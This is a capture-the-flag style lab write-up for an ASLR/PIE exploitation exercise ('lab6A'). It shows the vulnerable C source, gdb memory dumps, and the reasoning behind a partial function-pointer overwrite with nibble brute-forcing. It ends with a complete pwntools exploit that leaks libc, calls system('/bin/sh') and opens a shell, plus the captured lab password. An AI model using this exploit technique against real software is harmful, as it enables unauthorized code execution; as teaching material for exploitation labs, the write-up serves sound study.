For this lab, we are given a program and its corresponding source code:
/*
Exploitation with ASLR enabled
Lab A
gcc -fpie -pie -fno-stack-protector -o lab6A ./lab6A.c
Patrick Biernat
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "utils.h"
struct uinfo {
char name[32];
char desc[128];
unsigned int sfunc;
}user;
struct item {
char name[32];
char price[10];
}aitem;
struct item ulisting;
void write_wrap(char ** buf) {
write(1, *buf, 8);
}
void make_note() {
char note[40];
printf("Make a Note About your listing...: ");
gets(note);
}
void print_listing() {
printf(
"Here is the listing you've created: \n");
if(*ulisting.name == '\x00') {
return;
}
printf("Item: %s\n", ulisting.name);
printf("Price: %s\n",ulisting.price);
}
void make_listing() {
printf("Enter your item's name: ");
fgets(ulisting.name, 31, stdin);
printf("Enter your item's price: ");
fgets(ulisting.price, 9, stdin);
}
void setup_account(struct uinfo * user) {
char temp[128];
memset(temp, 0, 128);
printf("Enter your name: ");
read(0, user->name, sizeof(user->name));
printf("Enter your description: ");
read(0, temp, sizeof(user->desc));
strncpy(user->desc, user->name,32);
strcat(user->desc, " is a ");
memcpy(user->desc + strlen(user->desc), temp, strlen(temp));
}
void print_name(struct uinfo * info) {
printf("Username: %s\n", info->name);
}
int main(int argc, char ** argv) {
disable_buffering(stdout);
struct uinfo merchant;
char choice[4];
printf(
".-------------------------------------------------. \n" \
"| Welcome to l337-Bay + | \n"
"|-------------------------------------------------| \n"
"|1: Setup Account | \n"
"|2: Make Listing | \n"
"|3: View Info | \n"
"|4: Exit | \n"
"|-------------------------------------------------| \n" );
// Initialize user info
memset(merchant.name, 0, 32);
memset(merchant.desc, 0 , 64);
merchant.sfunc = (unsigned int)print_listing;
//initialize listing
memset(ulisting.name, 0, 32);
memset(ulisting.price, 0, 10);
while(1) {
memset(choice, 0, 4);
printf("Enter Choice: ");
if (fgets(choice, 2, stdin) == 0) {
break;
}
getchar(); // Eat the newline
if (!strncmp(choice, "1",1)) {
setup_account(&merchant);
}
if (!strncmp(choice, "2",1)) {
make_listing();
}
if (!strncmp(choice, "3",1)) { // ITS LIKE HAVING CLASSES IN C!
( (void (*) (struct uinfo *) ) merchant.sfunc) (&merchant);
}
if (!strncmp(choice, "4",1)) {
return EXIT_SUCCESS;
}
}
return EXIT_SUCCESS;
}
If we run checksec
, we can see that NX, PIE and full RELRO are enabled.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial
Because PIE is enabled, the base address of the ELF executable segments is randomized.
Vulnerability
If we look at the source code, we can see several vulnerabilities.
In make_note()
there is an insecure gets()
call being used without a stack canary to protect the saved EIP.
Additionally, in setup_account()
, memcpy()
is used to write a maximum of 128 bytes from temp
into an offset into merchant.desc
.
This second vulnerability is the one we will focus on to develop our exploit.
Exploit
The problem with this vulnerability is that merchant.desc
is a 128 byte buffer, so writing 128 bytes starting at an offset within this buffer space allows us to overwrite adjacent values on the stack.
Of particular interest to us, is the merchant.sfunc
value which sits right next to merchant.desc
and which conviently points to print_listing()
which it calls if the user selects option 3
from the main menu.
We can overwrite this value to make it call another function instead.
If we make the program call print_name()
instead, the program will print out the merchant.name
.
However, if we completely fill the merchant.name
up, eliminating any null bytes, and do the same for merchant.desc
, this function will also leak out other values on the stack, including a pointer to an ELF executable address (print_name()
), and a pointer to a libc address.
This will help us bypass ASLR and give us the ability to perform other sorts of attack like setting up a ROP chain using gadgets from libc or the executable to call system("/bin/sh")
.
Luckily, we don’t even need to build a ROP chain because using a second memcpy()
, we can just replace merchant.sfunc
so that it points to the address of system()
in libc, and since it uses &merchant
as its argument, we can write "/bin/sh"
as the merchant.name
.
Then, selecting option 3
again from the main menu should call system("/bin/sh")
and give us a shell.
One problem we need to overcome is determining what the address of print_name()
is so that we can write it to merchant.desc
.
Because ASLR and PIE are enabled, this address will be randomized everytime the program is run.
Fortunately, this address isn’t THAT randomized.
run 1:
gdb-peda$ p print_name
$1 = {<text variable, no debug info>} 0xb774abe2 <print_name>
gdb-peda$ p print_listing
$2 = {<text variable, no debug info>} 0xb774a9e0 <print_listing>
run 2:
gdb-peda$ p print_name
$3 = {<text variable, no debug info>} 0xb7790be2 <print_name>
gdb-peda$ p print_listing
$4 = {<text variable, no debug info>} 0xb77909e0 <print_listing>
run 3:
gdb-peda$ p print_name
$6 = {<text variable, no debug info>} 0xb77dbbe2 <print_name>
gdb-peda$ p print_listing
$7 = {<text variable, no debug info>} 0xb77db9e0 <print_listing>
We can see that print_name()
and print_listing()
each ALWAYS have the same lower/least significant 3 nibbles and same upper/most significant 3 nibbles.
Only the middle two nibbles are ever randomized.
This allows us to determine the address of print_name()
by performing a partial overwrite of the last 2 bytes and brute forcing a nibble.
For clarity, here is the Merchant
struct before the first memcpy()
:
gdb-peda$ x/42xw 0xffffd3cc
0xffffd3cc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd3dc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd3ec: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd3fc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd40c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd41c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd42c: 0xf7e3a273 0x00000000 0x00ca0000 0x00000001
0xffffd43c: 0x5655563d 0x56555819 0x56558000 0x00000001
0xffffd44c: 0x56555e22 0x00000001 0xffffd514 0xffffd51c
0xffffd45c: 0xf7e3a42d 0xf7fb13c4 0xf7ffd000 0x56555ddb
0xffffd46c: 0x565559e0 0x56555dd0
And here is the Merchant
struct afterward:
gdb-peda$ x/42xw 0xffffd3cc
0xffffd3cc: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd3dc: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd3ec: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd3fc: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd40c: 0x20736920 0x41412061 0x41414141 0x41414141
0xffffd41c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd42c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd43c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd44c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd45c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd46c: 0x56555be2 0x56555dd0
Notice how we only had to overwrite the lower 2 bytes of merchant.sfunc
@ 0xffffd46c.
We hope that this new address is the address of print_name()
, although realistically, we will only be correct 1/16th of the time, or on average, around once every 8 tries.
Also notice that the pointer after merchant.sfunc
points to an address inside libc.
gdb-peda$ telescope 0xffffd3cc 42
0000| 0xffffd3cc ('A' <repeats 64 times>, " is a ", 'A' <repeats 90 times>, "\342[UV\320]UV")
0004| 0xffffd3d0 ('A' <repeats 60 times>, " is a ", 'A' <repeats 90 times>, "\342[UV\320]UV")
[...]
0160| 0xffffd46c --> 0x56555be2 (<print_name>: push ebp)
0164| 0xffffd470 --> 0x56555dd0 (<__libc_csu_init>: push ebp)
Then, after the address of system()
is leaked, this is what the Merchant
struct looks like after the second memcpy()
:
gdb-peda$ x/41xw 0xffffd3cc
0xffffd3cc: 0x6e69622f 0x0068732f 0x41414141 0x41414141
0xffffd3dc: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd3ec: 0x6e69622f 0x2068732f 0x61207369 0x42424220
0xffffd3fc: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd40c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd41c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd42c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd43c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd44c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd45c: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd46c: 0x5639e190
Observe that we have written "/bin/sh\0"
to merchant.name
and that we have written the leaked address of system()
to merchant.sfunc
.
Putting everything together, the following exploit will grant us a shell.
Solution
#!/usr/bin/env python
from pwn import *
import sys
def exploit(r):
#r.recvuntil("Choice: ") ## for debugging
#r.sendline("3") ## for debugging
## Overwrite merchant.sfunc w/ print_name() ##
r.recvuntil("Choice: ")
r.sendline("1")
r.recvuntil(": ")
r.send("A"*32) # we can use send() bcus read() doesn't null-terminate. therefore, no need to send a '\n'
r.recvuntil(": ")
r.send("A"*90+"\xe2\x5b") # brute force a nibble # print_name() = 0xXXXXXbe2
## Leak addresses ##
r.recvuntil("Choice: ")
r.sendline("3") # calls merchant.sfunc(&merchant);
r.recv(170)
leakedelfptr = u32(r.recv(4)) # leaked &print_name()
leakedlibcptr = u32(r.recv(4)) # leaked libc ptr
libcbase = leakedlibcptr-0x1dddd0
l.success("nibble found!")
log.success("libcbase @ "+str(hex(libcbase)))
system = libcbase+0x40190
log.success("system @ "+str(hex(system)))
## Write "/bin/sh" to merchant.name ##
r.recvuntil("Choice: ")
r.sendline("1")
r.recvuntil(": ")
r.send("/bin/sh\0")
## Write system() to merchant.sfunc ##
r.recvuntil(": ")
r.send("B"*115+p32(system))
## Trigger system("/bin/sh") ##
r.recvuntil("Choice: ")
r.sendline("3")
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
l = log.progress("Working")
exploited = False
while exploited == False:
try:
l.status("brute forcing nibble")
r = process([ '/levels/lab06/lab6A'])
#print util.proc.pidof(r)
#pause()
exploit(r)
exploited = True
except:
pass
lab6A@warzone:/tmp/lab6A$ python solve.py
[*] For remote: solve.py HOST PORT
[+] Starting program '/levels/lab06/lab6A': Done
[32439]
[+] libcbase @ 0xb7598000
[+] system @ 0xb75d8190
[*] Switching to interactive mode
$ id
uid=1024(lab6A) gid=1025(lab6A) euid=1025(lab6end) groups=1026(lab6end),1001(gameuser),1025(lab6A)
$ cat /home/lab6end/.pass
eye_gu3ss_0n_@ll_mah_h0m3w3rk
$